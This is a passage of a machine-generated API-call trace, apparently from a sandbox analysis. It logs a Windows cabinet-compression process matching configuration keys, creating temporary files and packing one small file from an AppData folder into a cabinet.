out: _DstBuf="DiskDirectory1") returned 14 [0102.126] _strcmpi (_Str1="Cabinet", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="ChecksumWidth", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="ClusterSize", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="Compress", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="CompressionType", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="CompressionLevel", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="CompressionMemory", _Str2="DiskDirectory1") returned -1 [0102.126] _strcmpi (_Str1="DestinationDir", _Str2="DiskDirectory1") returned -4 [0102.126] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="DiskDirectory1") returned 67 [0102.126] _strcmpi (_Str1="DiskLabelTemplate", _Str2="DiskDirectory1") returned 8 [0102.126] _strcmpi (_Str1="DoNotCopyFiles", _Str2="DiskDirectory1") returned 6 [0102.126] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="DiskDirectory1") returned 2 [0102.126] _strcmpi (_Str1="FolderSizeThreshold", _Str2="DiskDirectory1") returned 2 [0102.126] _strcmpi (_Str1="GenerateInf", _Str2="DiskDirectory1") returned 3 [0102.126] _strcmpi (_Str1="InfCabinetHeader", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfCommentString", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfDateFormat", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfDiskHeader", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfDiskLineFormat", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfFileHeader", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfFileLineFormat", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfFileName", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfFooter", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfFooter1", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfFooter2", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfFooter3", _Str2="DiskDirectory1") returned 5 [0102.126] _strcmpi (_Str1="InfFooter4", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="InfHeader", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="InfHeader1", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="InfHeader2", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="InfHeader3", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="InfHeader4", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="InfHeader5", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="InfHeader6", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="InfSectionOrder", _Str2="DiskDirectory1") returned 5 [0102.127] _strcmpi (_Str1="MaxCabinetSize", _Str2="DiskDirectory1") returned 9 [0102.127] _strcmpi (_Str1="MaxDiskFileCount", _Str2="DiskDirectory1") returned 9 [0102.127] _strcmpi (_Str1="MaxDiskSize", _Str2="DiskDirectory1") returned 9 [0102.127] _strcmpi (_Str1="MaxErrors", _Str2="DiskDirectory1") returned 9 [0102.127] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="DiskDirectory1") returned 14 [0102.127] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="DiskDirectory1") returned 14 [0102.127] _strcmpi (_Str1="ReservePerFolderSize", _Str2="DiskDirectory1") returned 14 [0102.127] _strcmpi (_Str1="RptFileName", _Str2="DiskDirectory1") returned 14 [0102.127] _strcmpi (_Str1="SourceDir", _Str2="DiskDirectory1") returned 15 [0102.127] _strcmpi (_Str1="UniqueFiles", _Str2="DiskDirectory1") returned 17 [0102.127] _strcmpi (_Str1="DiskDirectory1", _Str2="DiskDirectory1") returned 0 [0102.127] _mkdir (_Path="C:\\") returned -1 [0102.127] _mkdir (_Path="C:\\Users") returned -1 [0102.127] _mkdir (_Path="C:\\Users\\aETAdzjz") returned -1 [0102.128] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData") returned -1 [0102.128] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData\\Local") returned -1 [0102.128] _mkdir (_Path="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned -1 [0102.128] GetCurrentProcessId () returned 0xa04 [0102.128] _vsnprintf (in: _DstBuf=0x1fe455, _MaxCount=0xda, _Format="CAB%5.5d.TMP", _ArgList=0x1fe418 | out: _DstBuf="CAB02564.TMP") returned 12 [0102.128] _open (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\CAB02564.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab02564.tmp"), _OpenFlag=1282) returned 7 [0102.128] _close (_FileHandle=7) returned 0 [0102.129] _unlink (_FileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\CAB02564.TMP") returned 0 [0102.129] _vsnprintf (in: _DstBuf=0x32610c, _MaxCount=0x7ff, _Format="DiskLabel%d", _ArgList=0x1fe3e8 | out: _DstBuf="DiskLabel1") returned 10 [0102.129] _vsnprintf (in: _DstBuf=0x1fe240, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe198 | out: _DstBuf="DiskLabel1") returned 10 [0102.129] _vsnprintf (in: _DstBuf=0x32695c, _MaxCount=0xff, _Format="Disk %d", _ArgList=0x1fe3e8 | out: _DstBuf="Disk 1") returned 6 [0102.129] _vsnprintf (in: _DstBuf=0x1fe4b0, _MaxCount=0x1f, _Format="InfDiskLineFormat%d", _ArgList=0x1fe0f8 | out: _DstBuf="InfDiskLineFormat1") returned 18 [0102.129] _vsnprintf (in: _DstBuf=0x1fdf50, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fdea8 | out: _DstBuf="InfDiskLineFormat1") returned 18 [0102.129] _vsnprintf (in: _DstBuf=0x1fdde0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fdd38 | out: _DstBuf="Infdisk#") returned 8 [0102.129] _vsnprintf (in: _DstBuf=0x32be58, _MaxCount=0x1ff, _Format="%d", _ArgList=0x1fe368 | out: _DstBuf="1") returned 1 [0102.129] _vsnprintf (in: _DstBuf=0x1fdde0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fdd38 | out: _DstBuf="Inflabel") returned 8 [0102.129] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 9 [0102.129] _vsnprintf (in: _DstBuf=0x32610c, _MaxCount=0x7ff, _Format="CabinetName%d", _ArgList=0x1fe458 | out: _DstBuf="CabinetName1") returned 12 [0102.129] _vsnprintf (in: _DstBuf=0x1fe520, _MaxCount=0x1f, _Format="InfCabinetLineFormat%d", _ArgList=0x1fe168 | out: _DstBuf="InfCabinetLineFormat1") returned 21 [0102.129] _vsnprintf (in: _DstBuf=0x1fdfc0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fdf18 | out: _DstBuf="InfCabinetLineFormat1") returned 21 [0102.129] _vsnprintf (in: _DstBuf=0x1fde50, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fdda8 | out: _DstBuf="Infcab#") returned 7 [0102.130] _vsnprintf (in: _DstBuf=0x32be58, _MaxCount=0x1ff, _Format="%d", _ArgList=0x1fe3d8 | out: _DstBuf="1") returned 1 [0102.130] _vsnprintf (in: _DstBuf=0x1fde50, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fdda8 | out: _DstBuf="Infdisk#") returned 8 [0102.130] _vsnprintf (in: _DstBuf=0x32be5a, _MaxCount=0x1fd, _Format="%d", _ArgList=0x1fe3d8 | out: _DstBuf="1") returned 1 [0102.130] _vsnprintf (in: _DstBuf=0x1fde50, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fdda8 | out: _DstBuf="Infcabfile") returned 10 [0102.130] fprintf (in: _File=0x7fefd702b40, _Format="%s\n" | out: _File=0x7fefd702b40) returned 13 [0102.130] GetCurrentProcessId () returned 0xa04 [0102.130] _vsnprintf (in: _DstBuf=0x1fe493, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1fe488 | out: _DstBuf="_2564_") returned 6 [0102.130] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_5" [0102.130] free (_Block=0x32af30) [0102.130] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_5" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_5"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c [0102.130] GetLastError () returned 0x0 [0102.131] _open_osfhandle (_OSFileHandle=0x4c, _Flags=34178) returned 7 [0102.131] GetCurrentProcessId () returned 0xa04 [0102.131] _vsnprintf (in: _DstBuf=0x1fe493, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1fe488 | out: _DstBuf="_2564_") returned 6 [0102.131] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_6" [0102.131] free (_Block=0x32af30) [0102.131] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_6" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_6"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0102.131] GetLastError () returned 0x0 [0102.131] _open_osfhandle (_OSFileHandle=0x50, _Flags=34178) returned 8 [0102.131] malloc (_Size=0x1238) returned 0x20efb0 [0102.131] GetCurrentProcessId () returned 0xa04 [0102.131] _vsnprintf (in: _DstBuf=0x1fe493, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1fe488 | out: _DstBuf="_2564_") returned 6 [0102.131] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_7" [0102.132] free (_Block=0x32af30) [0102.132] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_7" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_7"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x54 [0102.132] GetLastError () returned 0x0 [0102.132] _open_osfhandle (_OSFileHandle=0x54, _Flags=34178) returned 9 [0102.132] GetCurrentProcessId () returned 0xa04 [0102.132] _vsnprintf (in: _DstBuf=0x1fe493, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1fe488 | out: _DstBuf="_2564_") returned 6 [0102.132] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_8" [0102.132] free (_Block=0x32af30) [0102.132] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_8" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_8"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0102.138] GetLastError () returned 0x0 [0102.138] _open_osfhandle (_OSFileHandle=0x58, _Flags=34178) returned 10 [0102.138] GetCurrentProcessId () returned 0xa04 [0102.138] _vsnprintf (in: _DstBuf=0x1fe493, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1fe488 | out: _DstBuf="_2564_") returned 6 [0102.138] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_9" [0102.138] free (_Block=0x32af30) [0102.138] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_9" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_9"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c [0102.139] GetLastError () returned 0x0 [0102.139] _open_osfhandle (_OSFileHandle=0x5c, _Flags=34178) returned 11 [0102.139] _vsnprintf (in: _DstBuf=0x32610c, _MaxCount=0x7ff, _Format="MaxDiskSize%d", _ArgList=0x1fe7e8 | out: _DstBuf="MaxDiskSize1") returned 12 [0102.139] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize1") returned -10 [0102.139] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize1") returned -9 [0102.139] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize1") returned -9 [0102.139] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize1") returned -9 [0102.139] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize1") returned -9 [0102.139] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize1") returned -7 [0102.139] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize1") returned -7 [0102.139] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize1") returned -6 [0102.139] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize1") returned -4 [0102.139] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize1") returned -4 [0102.139] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize1") returned -4 [0102.139] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize1") returned -4 [0102.139] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize1") returned -4 [0102.139] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize1") returned -4 [0102.139] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize1") returned -4 [0102.140] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize1") returned -1 [0102.140] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize1") returned -13 [0102.140] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize1") returned -49 [0102.140] _strcmpi (_Str1="MaxErrors", _Str2="MaxDiskSize1") returned 1 [0102.140] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="MaxDiskSize1") returned 5 [0102.140] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="MaxDiskSize1") returned 5 [0102.140] _strcmpi (_Str1="ReservePerFolderSize", _Str2="MaxDiskSize1") returned 5 [0102.140] _strcmpi (_Str1="RptFileName", _Str2="MaxDiskSize1") returned 5 [0102.140] _strcmpi (_Str1="SourceDir", _Str2="MaxDiskSize1") returned 6 [0102.140] _strcmpi (_Str1="UniqueFiles", _Str2="MaxDiskSize1") returned 8 [0102.140] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize1") returned -9 [0102.140] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize1") returned -10 [0102.140] _vsnprintf (in: _DstBuf=0x1fe640, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe598 | out: _DstBuf="MaxDiskSize1") returned 12 [0102.143] GetFileAttributesExA (in: lpFileName="01D51ED4E3ECF92009" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\01d51ed4e3ecf92009"), fInfoLevelId=0x0, lpFileInformation=0x1fe898 | out: lpFileInformation=0x1fe898*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x62)) returned 1 [0102.143] FileTimeToLocalFileTime (in: lpFileTime=0x1fe8ac, lpLocalFileTime=0x1fe878 | out: lpLocalFileTime=0x1fe878) returned 1 [0102.143] FileTimeToDosDateTime (in: lpFileTime=0x1fe878, lpFatDate=0x1fe890, lpFatTime=0x1fe892 | out: lpFatDate=0x1fe890, lpFatTime=0x1fe892) returned 1 [0102.143] CreateFileA (lpFileName="01D51ED4E3ECF92009" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1\\01d51ed4e3ecf92009"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0102.143] GetLastError () returned 0x0 [0102.143] _open_osfhandle (_OSFileHandle=0x60, _Flags=32896) returned 12 [0102.143] _read (in: _FileHandle=12, _DstBuf=0x25b340, _MaxCharCount=0x8000 | out: _DstBuf=0x25b340*) returned 98 [0102.144] _errno () returned 0x324bb0 [0102.144] _read (in: _FileHandle=12, _DstBuf=0x25b3a2, _MaxCharCount=0x7f9e | out: _DstBuf=0x25b3a2) returned 0 [0102.144] _errno () returned 0x324bb0 [0102.144] _close (_FileHandle=12) returned 0 [0102.144] _write (in: _FileHandle=8, _Buf=0x1fe920*, _MaxCharCount=0x10 | out: _Buf=0x1fe920*) returned 16 [0102.145] _write (in: _FileHandle=8, _Buf=0xff3fca50*, _MaxCharCount=0x13 | out: _Buf=0xff3fca50*) returned 19 [0102.145] _close (_FileHandle=6) returned 0 [0102.145] free (_Block=0x32a2f0) [0102.145] free (_Block=0x20dfa0) [0102.145] free (_Block=0x326b80) [0102.145] malloc (_Size=0x8) returned 0x327170 [0102.335] _write (in: _FileHandle=7, _Buf=0x327170*, _MaxCharCount=0x8 | out: _Buf=0x327170*) returned 8 [0102.336] _write (in: _FileHandle=7, _Buf=0x253320*, _MaxCharCount=0x4c | out: _Buf=0x253320*) returned 76 [0102.337] _vsnprintf (in: _DstBuf=0x1feec0, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0x1fee18 | out: _DstBuf="100.00") returned 6 [0102.337] _vsnprintf (in: _DstBuf=0x1feec8, _MaxCount=0x1f7, _Format="%s", _ArgList=0x1fee18 | out: _DstBuf="01D51ED4E3ECF92009") returned 18 [0102.337] _vsnprintf (in: _DstBuf=0x1feedc, _MaxCount=0x1e3, _Format="%ld", _ArgList=0x1fee18 | out: _DstBuf="1") returned 1 [0102.337] strspn (_Str="1", _Control=" ") returned 0x0 [0102.337] strpbrk (_Str="1", _Control=" ") returned 0x0 [0102.337] _vsnprintf (in: _DstBuf=0x1feedf, _MaxCount=0x1e0, _Format="%ld", _ArgList=0x1fee18 | out: _DstBuf="1") returned 1 [0102.337] strspn (_Str="1", _Control=" ") returned 0x0 [0102.337] strpbrk (_Str="1", _Control=" ") returned 0x0 [0102.337] printf (_Format="%s%s\r") returned 38 [0102.348] free (_Block=0x327170) [0102.349] malloc (_Size=0x8) returned 0x327170 [0102.349] malloc (_Size=0x8) returned 0x3270a0 [0102.349] malloc (_Size=0x8) returned 0x327090 [0102.349] _vsnprintf (in: _DstBuf=0x1fef00, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0x1fee58 | out: _DstBuf=" 0.00") returned 6 [0102.349] printf (_Format="%s%s\r") returned 38 [0102.360] GetCurrentProcessId () returned 0xa04 [0102.360] _vsnprintf (in: _DstBuf=0x1ff123, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1ff118 | out: _DstBuf="_2564_") returned 6 [0102.360] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_10" [0102.360] free (_Block=0x32af30) [0102.360] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_10" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_10"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48 [0102.361] GetLastError () returned 0x0 [0102.361] _open_osfhandle (_OSFileHandle=0x48, _Flags=34178) returned 6 [0102.361] GetCurrentProcessId () returned 0xa04 [0102.361] _vsnprintf (in: _DstBuf=0x1ff123, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1ff118 | out: _DstBuf="_2564_") returned 6 [0102.361] _tempnam (_Directory="", _FilePrefix="cab_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_11" [0102.361] free (_Block=0x32af30) [0102.361] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2564_11" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2564_11"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0102.362] GetLastError () returned 0x0 [0102.362] _open_osfhandle (_OSFileHandle=0x60, _Flags=34178) returned 12 [0102.363] _lseek (_FileHandle=7, _Offset=0, _Origin=0) returned 0 [0102.363] _read (in: _FileHandle=7, _DstBuf=0x327170, _MaxCharCount=0x8 | out: _DstBuf=0x327170*) returned 8 [0102.363] _read (in: _FileHandle=7, _DstBuf=0x253320, _MaxCharCount=0x4c | out: _DstBuf=0x253320*) returned 76 [0102.363] _write (in: _FileHandle=9, _Buf=0x327170*, _MaxCharCount=0x8 | out: _Buf=0x327170*) returned 8 [0102.363] _write (in: _FileHandle=9, _Buf=0x253320*, _MaxCharCount=0x4c | out: _Buf=0x253320*) returned 76 [0102.364] _vsnprintf (in: _DstBuf=0x1fef00, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0x1fee58 | out: _DstBuf=" 46.63") returned 6 [0102.364] printf (_Format="%s%s\r") returned 34 [0102.374] _read (in: _FileHandle=7, _DstBuf=0x327170, _MaxCharCount=0x8 | out: _DstBuf=0x327170) returned 0 [0102.374] _errno () returned 0x324bb0 [0102.374] _write (in: _FileHandle=11, _Buf=0x327090*, _MaxCharCount=0x8 | out: _Buf=0x327090*) returned 8 [0102.375] _lseek (_FileHandle=8, _Offset=0, _Origin=0) returned 0 [0102.375] _read (in: _FileHandle=8, _DstBuf=0x20f9b4, _MaxCharCount=0x10 | out: _DstBuf=0x20f9b4*) returned 16 [0102.375] _lseek (_FileHandle=8, _Offset=0, _Origin=1) returned 16 [0102.375] _read (in: _FileHandle=8, _DstBuf=0x20fada, _MaxCharCount=0x100 | out: _DstBuf=0x20fada*) returned 19 [0102.375] _errno () returned 0x324bb0 [0102.375] _lseek (_FileHandle=8, _Offset=35, _Origin=0) returned 35 [0102.375] _vsnprintf (in: _DstBuf=0x1ff090, _MaxCount=0x1f, _Format="InfFileLineFormat%d", _ArgList=0x1fecd8 | out: _DstBuf="InfFileLineFormat1") returned 18 [0102.375] _strcmpi (_Str1="Cabinet", _Str2="InfFileLineFormat1") returned -6 [0102.375] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileLineFormat1") returned -6 [0102.375] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileLineFormat1") returned -6 [0102.375] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileLineFormat1") returned -6 [0102.376] _strcmpi (_Str1="ClusterSize", _Str2="InfFileLineFormat1") returned -6 [0102.376] _strcmpi (_Str1="Compress", _Str2="InfFileLineFormat1") returned -6 [0102.376] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileLineFormat1") returned -6 [0102.376] _strcmpi (_Str1="CompressionType", _Str2="InfFileLineFormat1") returned -6 [0102.376] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileLineFormat1") returned -6 [0102.376] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileLineFormat1") returned -6 [0102.376] _strcmpi (_Str1="DestinationDir", _Str2="InfFileLineFormat1") returned -5 [0102.376] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileLineFormat1") returned -5 [0102.376] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileLineFormat1") returned -5 [0102.376] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileLineFormat1") returned -5 [0102.376] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileLineFormat1") returned -3 [0102.376] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileLineFormat1") returned -3 [0102.376] _strcmpi (_Str1="GenerateInf", _Str2="InfFileLineFormat1") returned -2 [0102.376] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileLineFormat1") returned -3 [0102.376] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileLineFormat1") returned -3 [0102.376] _strcmpi (_Str1="InfCommentString", _Str2="InfFileLineFormat1") returned -3 [0102.376] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileLineFormat1") returned -2 [0102.376] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileLineFormat1") returned -2 [0102.376] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileLineFormat1") returned -2 [0102.376] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileLineFormat1") returned -4 [0102.376] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFileLineFormat1") returned -49 [0102.376] _strcmpi (_Str1="InfFileName", _Str2="InfFileLineFormat1") returned 2 [0102.376] _strcmpi (_Str1="InfFooter", _Str2="InfFileLineFormat1") returned 6 [0102.376] _strcmpi (_Str1="InfFooter1", _Str2="InfFileLineFormat1") returned 6 [0102.376] _strcmpi (_Str1="InfFooter2", _Str2="InfFileLineFormat1") returned 6 [0102.376] _strcmpi (_Str1="InfFooter3", _Str2="InfFileLineFormat1") returned 6 [0102.376] _strcmpi (_Str1="InfFooter4", _Str2="InfFileLineFormat1") returned 6 [0102.376] _strcmpi (_Str1="InfHeader", _Str2="InfFileLineFormat1") returned 2 [0102.376] _strcmpi (_Str1="InfHeader1", _Str2="InfFileLineFormat1") returned 2 [0102.376] _strcmpi (_Str1="InfHeader2", _Str2="InfFileLineFormat1") returned 2 [0102.376] _strcmpi (_Str1="InfHeader3", _Str2="InfFileLineFormat1") returned 2 [0102.376] _strcmpi (_Str1="InfHeader4", _Str2="InfFileLineFormat1") returned 2 [0102.376] _strcmpi (_Str1="InfHeader5", _Str2="InfFileLineFormat1") returned 2 [0102.376] _strcmpi (_Str1="InfHeader6", _Str2="InfFileLineFormat1") returned 2 [0102.376] _strcmpi (_Str1="InfSectionOrder", _Str2="InfFileLineFormat1") returned 13 [0102.376] 